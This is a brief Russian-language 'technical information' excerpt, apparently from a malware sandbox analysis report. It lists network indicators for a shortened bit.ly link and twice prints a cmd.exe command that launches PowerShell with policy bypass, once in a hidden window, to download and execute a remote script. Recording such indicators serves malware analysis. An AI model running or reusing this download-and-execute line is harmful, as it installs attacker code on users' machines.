Техническая информация
- https://bit.ly/2n6qp8v
- nul
- 'bi#.ly':443
- 'bi#.ly':443
- DNS ASK bi#.ly
- '%WINDIR%\syswow64\cmd.exe' /c "powershell.exe -ep Bypass -nop -c iex ((new-object net.webclient).DownloadString('https://bit.ly/2N6Qp8v'))"' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c "powershell.exe -ep Bypass -nop -c iex ((new-object net.webclient).DownloadString('https://bit.ly/2N6Qp8v'))"